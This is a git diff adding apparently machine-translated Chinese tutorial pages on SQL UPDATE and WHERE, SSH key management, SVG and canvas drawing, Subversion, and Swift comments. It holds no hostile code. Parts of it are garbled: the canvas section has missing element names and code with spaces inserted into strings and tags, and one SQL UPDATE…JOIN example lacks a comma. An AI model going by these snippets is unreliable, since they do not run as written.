diff --git a/client/src/guide/chinese/sql/sql-update-query/index.md b/client/src/guide/chinese/sql/sql-update-query/index.md
new file mode 100644
index 0000000000..bdece99dba
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-update-query/index.md
@@ -0,0 +1,129 @@
+---
+title: SQL Update Query
+localeTitle: SQL Update查询
+---
+## SQL Update查询
+
+### Update查询可以执行什么操作
+
+更新查询使DBA或SQL使用程序员能够使用一个命令更新许多记录。
+
+重要安全提示！在更改之前，请始终备份您要更改的内容！
+
+本指南将：
+
+*   在学生表中添加一个新字段
+*   测试逻辑以使用学校指定的电子邮件地址更新该字段
+*   更新新字段。
+
+这是我们开始这个过程的学生表
+
+```sql
+SELECT * FROM student; 
+```
+
+```text
++-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ | studentID | FullName               | sat_score | programOfStudy   | rcd_Created         | rcd_Updated         | 
+ +-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ |         1 | Monique Davis          |       400 | Literature       | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | Programming      | 2017-08-16 15:34:50 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | Computer Science | 2017-08-16 15:35:33 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+------------------+---------------------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+### 更改表格并添加新字段
+
+```sql
+    ALTER TABLE `fcc_sql_guides_database`.`student` 
+    ADD COLUMN `schoolEmailAdr` VARCHAR(125) NULL AFTER `programOfStudy`; 
+```
+
+执行alter后的student表。
+
+```text
+mysql> SELECT FullName, sat_score, programOfStudy, schoolEmailAdr FROM student; 
+ +------------------------+-----------+------------------+----------------+ 
+ | FullName               | sat_score | programOfStudy   | schoolEmailAdr | 
+ +------------------------+-----------+------------------+----------------+ 
+ | Monique Davis          |       400 | Literature       | NULL           | 
+ | Teri Gutierrez         |       800 | Programming      | NULL           | 
+ | Spencer Pautier        |      1000 | Programming      | NULL           | 
+ | Louis Ramsey           |      1200 | Programming      | NULL           | 
+ | Alvin Greene           |      1200 | Programming      | NULL           | 
+ | Sophie Freeman         |      1200 | Programming      | NULL           | 
+ | Edgar Frank "Ted" Codd |      2400 | Computer Science | NULL           | 
+ | Donald D. Chamberlin   |      2400 | Computer Science | NULL           | 
+ | Raymond F. Boyce       |      2400 | Computer Science | NULL           | 
+ +------------------------+-----------+------------------+----------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+### 测试逻辑（非常重要的一步！）
+
+```sql
+SELECT FullName, instr(FullName," ") AS firstSpacePosition, 
+ concat(substring(FullName,1,instr(FullName," ")-1),"@someSchool.edu") AS schoolEmail 
+ FROM student; 
+```
+
+```text
++------------------------+--------------------+------------------------+ 
+ | FullName               | firstSpacePosition | schoolEmail            | 
+ +------------------------+--------------------+------------------------+ 
+ | Monique Davis          |                  8 | Monique@someSchool.edu | 
+ | Teri Gutierrez         |                  5 | Teri@someSchool.edu    | 
+ | Spencer Pautier        |                  8 | Spencer@someSchool.edu | 
+ | Louis Ramsey           |                  6 | Louis@someSchool.edu   | 
+ | Alvin Greene           |                  6 | Alvin@someSchool.edu   | 
+ | Sophie Freeman         |                  7 | Sophie@someSchool.edu  | 
+ | Edgar Frank "Ted" Codd |                  6 | Edgar@someSchool.edu   | 
+ | Donald D. Chamberlin   |                  7 | Donald@someSchool.edu  | 
+ | Raymond F. Boyce       |                  8 | Raymond@someSchool.edu | 
+ +------------------------+--------------------+------------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+_关于concat（）的注释：在MySQL中，此命令用于组合字符串，而在其他SQL版本中则不然（请查看手册）。在这种用法中，它的工作方式如下：FullName字段的子字符串（但不包括第一个空格）与“@ someSchool.edu”组合在一起。在现实世界中，这将变得更加复杂，您需要确保电子邮件地址是唯一的。_
+
+### 进行更新
+
+我们假装这是我们想要的，并使用以下信息更新表：
+
+```sql
+UPDATE student SET schoolEmailAdr = concat(substring(FullName,1,instr(FullName," ")-1),"@someSchool.edu") 
+ WHERE schoolEmailAdr is NULL; 
+```
+
+成功！
+
+```text
+mysql> SELECT FullName, sat_score, programOfStudy, schoolEmailAdr FROM student; 
+ +------------------------+-----------+------------------+------------------------+ 
+ | FullName               | sat_score | programOfStudy   | schoolEmailAdr         | 
+ +------------------------+-----------+------------------+------------------------+ 
+ | Monique Davis          |       400 | Literature       | Monique@someSchool.edu | 
+ | Teri Gutierrez         |       800 | Programming      | Teri@someSchool.edu    | 
+ | Spencer Pautier        |      1000 | Programming      | Spencer@someSchool.edu | 
+ | Louis Ramsey           |      1200 | Programming      | Louis@someSchool.edu   | 
+ | Alvin Greene           |      1200 | Programming      | Alvin@someSchool.edu   | 
+ | Sophie Freeman         |      1200 | Programming      | Sophie@someSchool.edu  | 
+ | Edgar Frank "Ted" Codd |      2400 | Computer Science | Edgar@someSchool.edu   | 
+ | Donald D. Chamberlin   |      2400 | Computer Science | Donald@someSchool.edu  | 
+ | Raymond F. Boyce       |      2400 | Computer Science | Raymond@someSchool.edu | 
+ +------------------------+-----------+------------------+------------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-update-statement/index.md b/client/src/guide/chinese/sql/sql-update-statement/index.md
new file mode 100644
index 0000000000..aa303597bd
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-update-statement/index.md
@@ -0,0 +1,44 @@
+---
+title: SQL Update Statement
+localeTitle: SQL Update语句
+---
+## SQL Update语句
+
+要更新表中的记录，请使用`UPDATE`语句。
+
+小心。您可以更新表格的所有记录或仅更新一些记录。使用`WHERE`条件指定要更新的记录。可以一次更新一个或多个列。语法是：
+
+```sql
+UPDATE table_name 
+ SET column1 = value1, 
+    column2 = value2, ... 
+ WHERE condition; 
+```
+
+以下是使用Id 4更新记录名称的示例：
+
+```sql
+UPDATE Person 
+ SET Name = “Elton John” 
+ WHERE Id = 4; 
+```
+
+您还可以使用其他表中的值更新表中的列。使用`JOIN`子句从多个表中获取数据。语法是：
+
+```sql
+UPDATE table_name1 
+ SET table_name1.column1 = table_name2.columnA 
+    table_name1.column2 = table_name2.columnB 
+ FROM table_name1 
+ JOIN table_name2 ON table_name1.ForeignKey = table_name2.Key 
+```
+
+以下是更新所有记录管理器的示例：
+
+```sql
+UPDATE Person 
+ SET Person.Manager = Department.Manager 
+ FROM Person 
+ JOIN Department ON Person.DepartmentID = Department.ID 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-where-clause/index.md b/client/src/guide/chinese/sql/sql-where-clause/index.md
new file mode 100644
index 0000000000..df7672a22b
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-where-clause/index.md
@@ -0,0 +1,68 @@
+---
+title: SQL Where Clause
+localeTitle: SQL Where子句
+---
+## SQL Where子句
+
+### `WHERE`子句（和/或， `IN` ， `BETWEEN`和`LIKE` ）
+
+`WHERE`子句用于限制返回的行数。
+
+在这种情况下，所有这五个将被使用的是一些荒谬的`WHERE`子句。
+
+以下是与`WHERE`子句结果集进行比较的当前完整学生列表：
+
+```sql
+select studentID, FullName, sat_score, rcd_updated from student; 
+```
+
+```text
++-----------+------------------------+-----------+---------------------+ 
+ | studentID | FullName               | sat_score | rcd_updated         | 
+ +-----------+------------------------+-----------+---------------------+ 
+ |         1 | Monique Davis          |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+行将呈现......
+
+*   `WHERE`学生ID是1和5之间（含）
+*   `OR` studentID = 8
+
+这是一个更新的查询，其中将不会显示具有此列表（1000,1400）中的SAT分数的任何记录：
+
+```sql
+select  studentID, FullName, sat_score, recordUpdated 
+ from    student 
+ where   (studentID between 1 and 5 or studentID = 8) 
+        and 
+        sat_score NOT in (1000, 1400); 
+```
+
+```text
++-----------+----------------------+-----------+---------------------+ 
+ | studentID | FullName             | sat_score | rcd_updated         | 
+ +-----------+----------------------+-----------+---------------------+ 
+ |         1 | Monique Davis        |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez       |       800 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey         |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene         |      1200 | 2017-08-16 15:34:50 | 
+ |         8 | Donald D. Chamberlin |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+----------------------+-----------+---------------------+ 
+ 5 rows in set (0.00 sec) 
+```
+
+\*与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/ssh/index.md b/client/src/guide/chinese/ssh/index.md
new file mode 100644
index 0000000000..c172a2164f
--- /dev/null
+++ b/client/src/guide/chinese/ssh/index.md
@@ -0,0 +1,11 @@
+---
+title: SSH
+localeTitle: SSH
+---
+## SSH
+
+Secure Shell（SSH）是一种加密网络协议，旨在通过不安全的网络进行安全的数据传输。
+
+它最常用于访问远程服务器。
+
+SSH也用于像git这样的分布式源代码版本控制软件。
\ No newline at end of file
diff --git a/client/src/guide/chinese/ssh/managing-multiple-ssh-keys/index.md b/client/src/guide/chinese/ssh/managing-multiple-ssh-keys/index.md
new file mode 100644
index 0000000000..737d49cb3b
--- /dev/null
+++ b/client/src/guide/chinese/ssh/managing-multiple-ssh-keys/index.md
@@ -0,0 +1,180 @@
+---
+title: Managing multiple SSH keys
+localeTitle: 管理多个SSH密钥
+---
+# 管理多个SSH密钥
+
+可以肯定地说，Web领域的大多数开发人员在某些时候都遇到过SSH。 SSH是最常用的安全数据交换协议之一。您使用SSH连接到远程服务器，其中还包括使用git管理代码以及与远程存储库同步。
+
+尽管每个设备有一个私钥 - 公钥对被认为是一种好习惯，但有时您需要使用多个密钥和/或您有非正统的密钥名称。您可能正在使用一个SSH密钥对来处理公司的内部项目，但您可能使用不同的密钥来访问某些公司客户端的服务器。您甚至可能使用不同的密钥来访问您自己的私人服务器。
+
+只要需要使用第二个密钥，管理SSH密钥就会变得很麻烦。我希望这篇文章对任何遇到SSH密钥管理问题的人都有所帮助。
+
+我假设读者具有git和SSH的基本知识。整篇文章中的大多数示例都将使用git。当然，所有这些都适用于任何其他SSH通信。话虽如此，还有一些特定于git的技巧。
+
+带进去，我们走吧！
+
+## 现状
+
+首先，让我们先看看您的工作流程在看多个密钥之前的样子。
+
+您有一个私钥存储在`~/.ssh/id_rsa`并带有相应的公钥`~/.ssh/id_rsa.pub` 。
+
+让我们假设您想要将代码更改推送到远程git服务器/从远程git服务器拉出代码更改。说GitHub，whynot。为此，您首先必须将您的公钥添加到GitHub。我不会重复这一步，应该很容易找到如何做到这一点。我还假设你的名字是史蒂夫，你正在开展一个使用Raspberry Pies来嗅探网络流量的绝密项目。
+
+要开始工作，您必须使用SSH克隆git存储库：
+
+```bash
+git clone git@github.com:steve/raspberry-spy.git 
+```
+
+此时GitHub将会像：“哟，这是一个私有存储库！我们需要使用此处的公钥和您的私钥来加密流量”
+
+您已在GitHub上将公钥添加到您的配置文件，但SSH必须以某种方式确定您的相应私钥所在的位置。由于我们不知道SSH到`git@github.com`时应该使用哪个私钥，SSH客户端会尝试在默认位置找到一个密钥，即`~/.ssh/id_rsa` - 这是他最好的猜测。如果该位置没有文件，您将收到错误消息：
+
+```bash
+Cloning into 'raspberry-spy'... 
+ Permission denied (publickey). 
+ fatal: Could not read from remote repository. 
+ 
+ Please make sure you have the correct access rights 
+ and the repository exists. 
+```
+
+如果您有_一些_私钥存储在文件`~/.ssh/id_rsa` ，SSH客户端将使用该私钥进行通信加密。如果该密钥是passworded（应该是），系统将提示您输入密码，如下所示：
+
+```bash
+Enter passphrase for key '/Users/steve/.ssh/id_rsa': 
+```
+
+如果输入正确的密码短语，并且该私钥确实与您附加到配置文件的公钥对应，那么一切都会正常，并且将成功克隆存储库。
+
+但是如果你以不同的方式命名你的密钥（例如`~/.ssh/_id_rsa` ）怎么办？ SSH客户端将无法确定私钥的存储位置。您将获得与以前相同的`Permission denied ...`错误。
+
+如果要使用不同名称的私钥，则必须手动添加：
+
+```bash
+ssh-add ~/.ssh/_id_rsa 
+```
+
+输入密码后，您可以通过执行`ssh-add -l`检查密钥是否已添加到`ssh-agent` （SSH客户端）。此命令将列出SSH客户端当前可用的所有密钥。
+
+如果您现在尝试克隆存储库，它将会成功。
+
+## 到现在为止还挺好？
+
+如果你眼睛敏锐，你可能会开始注意到一些潜在的问题。
+
+首先，如果你重新启动计算机， `ssh-agent`将重新启动，你将不得不再次使用`ssh-add`添加你的默认命名密钥，输入密码和所有繁琐的东西。
+
+我们可以自动添加密钥或以某种方式指定访问某些服务器时使用的密钥吗？
+
+我们可以以某种方式保存密码，这样我们就不必每次都输入密码吗？如果只有类似_钥匙串的_东西来保存受密码保护的SSH密钥🤔。
+
+请放心，所有这些问题都有答案。
+
+## 输入，SSH `config`
+
+事实证明， [SSH配置文件](https://linux.die.net/man/5/ssh_config)是一件事，可以帮助我们。它是SSH通信的每用户配置文件。创建一个新文件： `~/.ssh/config`并打开它进行编辑。
+
+### 管理自定义命名的SSH密钥
+
+我们要使用此`config`文件解决的第一件事是避免使用`ssh-add`添加自定义命名的SSH密钥。假设您的SSH密钥名为`~/.ssh/_id_rsa` ，请在`config`文件中添加以下内容：
+
+```bash
+Host github.com 
+  HostName github.com 
+  User git 
+  IdentityFile ~/.ssh/_id_rsa 
+  IdentitiesOnly yes 
+```
+
+现在通过执行`ssh-add -D`确保`~/.ssh/_id_rsa`不在`ssh-agent` 。此命令将从当前活动的`ssh-agent`会话中删除所有密钥。每次注销或重新启动时（或者如果手动`ssh-agent`进程），会话都会重置。我们可以通过执行上述命令来“模拟”重启。
+
+如果你现在尝试克隆你的GitHub存储库，它就像我们手动添加密钥一样（就像我们之前做的那样）。系统会要求您输入密码：
+
+```bash
+git clone git@github.com:steve/raspberry-spy.git 
+ Cloning into 'raspberry-spy'... 
+ Enter passphrase for key '/Users/steve/.ssh/_id_rsa': 
+```
+
+您将注意到我们提示输入密码的密钥与我们在`config`文件中指定的密钥相同。输入正确的SSH密钥密码后，将成功克隆存储库。
+
+注意：如果在成功克隆后尝试`git pull` ，则会再次提示您输入密码。我们稍后会解决。
+
+重要的是， `Host github.com`从`config`和`github.com`从URI `git@github.com:steve/raspberry-spy.git`比赛。您还可以使用URI `git@mygithub:steve/raspberry-spy.git`将`config`更改为`Host mygithub`并进行克隆。
+
+这打开了闸门。正如你所说的那样，你的思维正在竞争并思考如何解决SSH密钥的所有问题。以下是一些有用的配置示例：
+
+```bash
+Host bitbucket-corporate 
+        HostName bitbucket.org 
+        User git 
+        IdentityFile ~/.ssh/id_rsa_corp 
+        IdentitiesOnly yes 
+```
+
+现在你可以使用`git clone git@bitbucket-corporate:company/project.git`
+
+```bash
+Host bitbucket-personal 
+        HostName bitbucket.org 
+        User git 
+        IdentityFile ~/.ssh/id_rsa_personal 
+        IdentitiesOnly yes 
+```
+
+现在你可以使用`git clone git@bitbucket-personal:steve/other-pi-project.git`
+```
+Host myserver 
+        HostName ssh.steve.com 
+        Port 1111 
+        IdentityFile ~/.ssh/id_rsa_personal 
+        IdentitiesOnly yes 
+        User steve 
+        IdentitiesOnly yes 
+```
+
+现在，您可以使用`ssh myserver` SSH到您的服务器。多么酷啊？每次执行`ssh`命令时，都不需要手动输入端口和用户名。
+
+#### 额外奖励：每个存储库设置
+
+您还可以定义哪个特定密钥应该用于某个存储库，覆盖SSH `config`任何内容。具体SSH命令可以通过设置来限定`sshCommand`下`core`在`<project>/.git/config` 。例：
+
+```bash
+[core] 
+        sshCommand = ssh -i ~/.ssh/id_rsa_corp 
+```
+
+这可以使用git 2.10或更高版本。您也可以使用此命令来避免手动编辑文件：
+
+```bash
+git config core.sshCommand 'ssh -i ~/.ssh/id_rsa_corp' 
+```
+
+### 密码管理
+
+最后一块拼图是管理密码。我们希望每次启动SSH连接时都不必输入密码。为此，我们可以利用MacOS附带的钥匙串管理软件和各种Linux发行版。
+
+首先将您的密钥添加到钥匙串，方法是将`-K`选项传递给`ssh-add`命令：
+
+```bash
+ssh-add -K ~/.ssh/id_rsa_whatever 
+```
+
+现在，您可以在钥匙串中看到您的SSH密钥。在MacOS上，它看起来像这样： ![Keychain Access](https://raw.githubusercontent.com/fvoska/guides/master/static/images/pages/ssh/managing-multiple-ssh-keys/keychain-access.png "钥匙串访问")
+
+如果您通过`ssh-add -D`从`ssh-agent`删除密钥（这将在您重新启动计算机时发生，如前所述）并尝试SSH-ing，系统将再次提示您输入密码。为什么？我们刚刚将密钥添加到钥匙串中。如果再次检查Keychain Access，您会注意到使用`ssh-add -K`添加的密钥仍在钥匙串中。很奇怪，是吗？
+
+事实证明，还有一个可以跳过的箍。打开SSH `config`文件并添加以下内容：
+
+```bash
+Host * 
+  AddKeysToAgent yes 
+  UseKeychain yes 
+```
+
+现在，SSH将在钥匙串中查找密钥，如果找到密钥，则不会提示您输入密码。密钥也将添加到`ssh-agent` 。在MacOS上，这将适用于MacOS Sierra 10.12.2或更高版本。在Linux上，您可以使用类似`gnome-keyring`东西，即使没有对SSH `config`最后修改，它也可以工作。至于Windows--谁知道，对吧？
+
+我希望有人发现这很有用。现在去配置你的SSH `config`文件吧！
\ No newline at end of file
diff --git a/client/src/guide/chinese/svg/index.md b/client/src/guide/chinese/svg/index.md
new file mode 100644
index 0000000000..3dcf78c980
--- /dev/null
+++ b/client/src/guide/chinese/svg/index.md
@@ -0,0 +1,152 @@
+---
+title: SVG
+localeTitle: SVG
+---
+## SVG
+
+SVG或可缩放矢量图形是用于在网页中定义基于矢量的图形的Web标准。基于XML，SVG标准提供标记来描述视口中的路径，形状和文本。标记可以直接嵌入到HTML中以供显示，也可以保存到`.svg`文件中，并像任何其他图像一样插入。您可以手动编写SVG，但可以在矢量图形编辑器（如Illustrator或InkScape）中设计更复杂的图形，并将其导出为SVG文件或代码。
+
+## SVG基础知识
+
+开发人员使用`<svg>`标记和XML命名空间启动SVG图形，如下所示：
+
+```svg
+<svg xmlns="http://www.w3.org/2000/svg" version="1.1"> 
+ 
+ </svg> 
+```
+
+该示例还包含`version`属性。 `version`属性是可选的，但建议使用带有XML规范的complaince。
+
+此示例不会显示任何内容，它只是建立了一个视口。您可以添加`height`和`width`属性来设置视口的显示大小，这实际上建立了一个供您使用的画布。
+
+使用视口，您可以添加基本图形，文本和路径元素。
+
+```svg
+<svg 
+     version="1.1" 
+     width="100%" 
+     viewbox="0 0 600 300" 
+     xmlns="http://www.w3.org/2000/svg"> 
+  <rect x="10" y="10" width="100" height="100" fill="#f7b2c1" /> 
+  <circle cx="240" cy="60" r="50" fill="#c1b2f7" stroke="#b2c1f7" stroke-width="15"/> 
+  <text x="450" y="70" font-size="20" text-anchor="middle">SVG Text is browser readable!</text> 
+  <g stroke="#b2c1f7"> <!-- g is for group --> 
+    <path stroke-width="2" d="M10 170 l590 0" /> 
+    <path stroke-width="4" d="M10 190 l590 0" /> 
+    <path stroke-width="6" d="M10 210 l590 0" /> 
+  </g> 
+ </svg> 
+```
+
+您可以看到输出并使用[此codepen中](https://codepen.io/SgiobairOg/pen/OxbNpW)的代码。
+
+在开始的`svg`标记中，我们添加一个width属性来将视口的宽度设置为容器宽度的100％，您可以使用百分比或像素宽度。开放的svg标签还有`viewbox`属性，该属性定义了一个窗口，通过该窗口可以看到svg的元素，在这种情况下，视图框的范围从（0,0）到（600,300）。在SVG空间中，X轴从左侧开始为零，向右增加; Y轴从顶部开始为零，向下增加。
+
+第一个新标记是`<rect />`标记，它在SVG视口中定义了一个矩形。在这种情况下，我们定义一个从顶部和左侧10个单位和100个单位高和宽的正方形。 `fill`属性设置形状的填充颜色。
+
+接下来，我们使用`<circle />`标签定义圆形或椭圆形。样本定义了一个以（240,60）为中心的圆，半径为50个单位。 `stroke`和`stroke-width`属性设置笔触颜色和笔划大小。
+
+您可以使用`text`标记向图形添加文本。示例文本从文本的中间锚定到（450,70）处，并且字体大小为20个单位。 SVG中文本的优点在于它可以与您的图形的其余部分一起扩展，但它仍然可以被浏览器和Web机器人读取。
+
+如果要将相同的属性或CSS样式应用于多个SVG元素，可以使用`<g>`标记对它们进行分组。分配给`<g>`标记的属性（如示例中的`stroke`属性）将应用于组中的所有元素。在这种情况下，有三个`<path />`元素。
+
+`<path />`元素定义视口中的矢量路径。路径由`d`属性定义。在第一个例子中，定义读取'移动到绝对坐标（10,170） _并_绘制一条线到X方向的相对坐标590和Y方向的0。
+
+以下命令可用于创建路径：
+
+M =搬到 L =行到 H =水平线到 V =垂直线到 Z =关闭路径 C =（三次贝塞尔曲线）曲线 S =平滑曲线 Q =二次贝塞尔曲线到 T =平滑的二次贝塞尔曲线 A =弧
+
+### 画布元素
+
+画布图形可以绘制到
+
+元件。你可以给suchan元素的宽度和高度属性来确定它的大小（以像素为单位）。一个新的画布是空的，这意味着它是完全透明的，并且简单地说就是文档中的空白空间。 该
+
+标签旨在支持不同的绘图风格。要访问实际的绘图界面，我们首先需要创建一个上下文，这是一个对象，其方法提供绘图界面。目前有两种广泛支持的绘图样式：“2d”用于二维图形和通过OpenGL界面用于三维图形的“webgl”。
+
+通过getContext方法创建上下文
+
+元件。
+```
+<p > Before canvas . </p > 
+ < canvas width ="120" height ="60" > </ canvas > 
+ <p > After canvas . </p > 
+ < script > 
+ var canvas = document . querySelector (" canvas ") ; 
+ var context = canvas . getContext ("2 d ") ; 
+ context . fillStyle = " red "; 
+ context . fillRect (10 , 10 , 100 , 50) ; 
+ </ script > 
+```
+
+![](http://www.crwflags.com/fotw/images/s/sly@stt.gif)
+
+创建上下文对象后，该示例绘制一个红色矩形100 像素宽，50像素高，其左上角在坐标处 （10,10）。
+
+### 绘制饼图
+
+results变量包含一个表示对象的对象数组 调查回复。
+```
+var results = [ 
+ { name : " Satisfied " , count : 1043 , color : " lightblue "} , 
+ { name : " Neutral " , count : 563 , color : " lightgreen "} , 
+ { name : " Unsatisfied " , count : 510 , color : " pink "} , 
+ { name : " No comment " , count : 175 , color : " silver "} 
+ ]; 
+```
+
+为了绘制饼图，我们绘制了许多饼图切片，每个切片由弧线和一对线条组成，位于该弧线的中心。我们可以通过将整圆（2π）除以响应的总数，然后将该数字（每个响应的角度）乘以选择给定选择的人数来计算每个弧所占用的角度。
+```
+< canvas width ="200" height ="200" > </ canvas > 
+ < script > 
+ var cx = document . querySelector (" canvas ") . getContext ("2 d ") ; 
+ var total = results . reduce ( function ( sum , choice ) { 
+ return sum + choice . count ; 
+ } , 0) ; 
+ 
+ // Start at the top 
+ 
+ var currentAngle = -0.5 * Math . PI ; 
+ results . forEach ( function ( result ) { 
+ var sliceAngle = ( result . count / total ) * 2 * Math . PI ; 
+ cx . beginPath () ; 
+ // center =100 ,100 , radius =100 
+ // from current angle , clockwise by slice ' s angle 
+ cx . arc (100 , 100 , 100 , 
+ currentAngle , currentAngle + sliceAngle ); 
+ currentAngle += sliceAngle ; 
+ cx . lineTo (100 , 100) ; 
+ cx . fillStyle = result . color ; 
+ cx . fill () ; 
+ }) ; 
+ </ script > 
+```
+
+这绘制了以下图表： ![](https://pbs.twimg.com/media/CTDvkA8UwAAdJg5.png)
+
+### 浏览器支持
+
+所有现代浏览器都提供[对SVG的浏览器支持](https://caniuse.com/#feat=svg) 。 IE 9到IE 11中存在一些缩放问题，但是可以通过使用`width` ， `height` ， `viewbox`和CSS来克服它们。
+
+## 编者
+
+*   [Vectr](https://vectr.com) - 免费提供和创建和编辑SVG图形的网络和桌面工具
+
+## 用于创建SVG的工具
+
+可用于以绘图程序的形式创建SVG的工具很少。
+
+*   [Inkscape](https://www.inkscape.org/) - 它是一个开源工具，用于使用易于使用的图形界面进行最先进的矢量绘图。
+*   [Adobe Illustrator](https://www.adobe.com/products/illustrator/) - Adob​​e Illustrator是Vector Imagery的商业工具。
+
+有关更多工具，请参阅[支持SVG的W3C工具列表](https://https://www.w3.org/Graphics/SVG/WG/wiki/Implementations)
+
+## 为什么要使用SVG
+
+作为矢量图像格式，它允许您调整图像大小而不会降低质量和特别轻的重量。 作为XML格式，它允许您从JavaScript的全部功能中受益，尤其是CSS。
+
+## 资源
+
+*   [W3C，可缩放矢量图形（SVG）1.1（第二版）](https://www.w3.org/TR/SVG/)
+*   [Mozilla开发者网络，SVG](https://developer.mozilla.org/en-US/docs/Web/SVG)
\ No newline at end of file
diff --git a/client/src/guide/chinese/svg/shapes/index.md b/client/src/guide/chinese/svg/shapes/index.md
new file mode 100644
index 0000000000..7a59f9f2f9
--- /dev/null
+++ b/client/src/guide/chinese/svg/shapes/index.md
@@ -0,0 +1,81 @@
+---
+title: SVG Shapes
+localeTitle: SVG形状
+---
+## SVG形状
+
+可以使用SVG绘图创建多个形状。 SVG绘图可以使用和组合七种形状：路径，矩形，圆形，椭圆形，直线，折线和多边形。
+
+### 路径
+
+`path`元素是最常见的，通常由用于导出SVG代码的程序生成。
+
+```svg
+  <path d="M2 1 h1 v1 h1 v1 h-1 v1 h-1 v-1 h-1 v-1 h1 z" /> 
+```
+
+上面的示例`path`在SVG绘图中使用时将生成“加”符号（+）。 SVG `path`元素不是手动构建的，而是通过可以操作矢量图形的设计程序生成的，例如Illustrator或Inkscape。
+
+### 长方形
+
+矩形元素`rect`在屏幕上绘制一个矩形，它接受六个属性。
+
+```svg
+  <rect x="0" y="0" width="100" height="50" rx="10" ry="10" /> 
+```
+
+`x`和`y`指定矩形左上角的位置， `width`和`height`指定矩形的大小。 `rx`和`ry`指定矩形角的半径，类似于CSS border-radius属性。
+
+### 圈
+
+圆元素`circle`接受三个属性。
+
+```svg
+  <circle cx="100" cy="100" r="50" /> 
+```
+
+`cx`和`cy`指定圆心的位置， `r`指定圆的半径（大小）。
+
+### 椭圆
+
+椭圆元素`ellipse`与`circle`元素类似，只是半径被分成两个属性。
+
+```svg
+  <ellipse cx="100" cy="100" rx="50" ry="20" /> 
+```
+
+同样， `cx`和`cy`指定椭圆中心的位置，现在`rx`和`ry`指定椭圆的水平和垂直半径。较大的`rx`将给出“胖”椭圆，而较大的`ry`将给出更细的椭圆。如果`rx`和`ry`相等，它将形成一个圆。
+
+### 线
+
+`line`元素很简单，并且接受四个属性。
+
+```svg
+  <line x1="0" x2="100" y1="50" y2="70" /> 
+```
+
+`x1`和`y1`属性指定行的第一个点， `x2`和`y2`属性指定行的第二个点。
+
+### 折线
+
+`polyline`是一系列连接的直线，在单个属性中指定。
+
+```svg
+  <polyline points="0 100, 50 70, 60 40, 20 0" /> 
+```
+
+`points`属性指定一个点列表，每个点用逗号分隔。
+
+### 多边形
+
+`polygon`元素也是一系列连接的直线，但在这种情况下，最后一行将自动重新连接到初始点。
+
+```svg
+  <polygon points="0 100, 50 70, 60 40, 20 0" /> 
+```
+
+此示例将绘制与上面的`polyline`相同的形状，但它将绘制一条额外的线以“关闭”一系列线条。
+
+## 更多信息
+
+MDN文档： [MDN](https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Basic_Shapes)
\ No newline at end of file
diff --git a/client/src/guide/chinese/svn/index.md b/client/src/guide/chinese/svn/index.md
new file mode 100644
index 0000000000..bab9870b61
--- /dev/null
+++ b/client/src/guide/chinese/svn/index.md
@@ -0,0 +1,9 @@
+---
+title: Apache Subversion
+localeTitle: Apache Subversion
+---
+## Apache Subversion
+
+Apache Subversion是一个软件版本控制和修订控制系统，在[Apache License](https://en.wikipedia.org/wiki/Apache_License)下作为开源[分发](https://en.wikipedia.org/wiki/Apache_License) 。它用于维护文件的当前和历史版本，例如源代码，网页和文档。
+
+有关下载和文档，请访问[Apache Subversion官方网站](https://subversion.apache.org)
\ No newline at end of file
diff --git a/client/src/guide/chinese/swift/comments/index.md b/client/src/guide/chinese/swift/comments/index.md
new file mode 100644
index 0000000000..b07c7f99dc
--- /dev/null
+++ b/client/src/guide/chinese/swift/comments/index.md
@@ -0,0 +1,28 @@
+---
+title: Comments
+localeTitle: 注释
+---
+## 注释
+
+注释允许您记录您的代码。 Swift编译器忽略注释，仅对阅读代码库的人有用。
+
+单行注释以两个正斜杠`//`开头。
+
+#### 例：
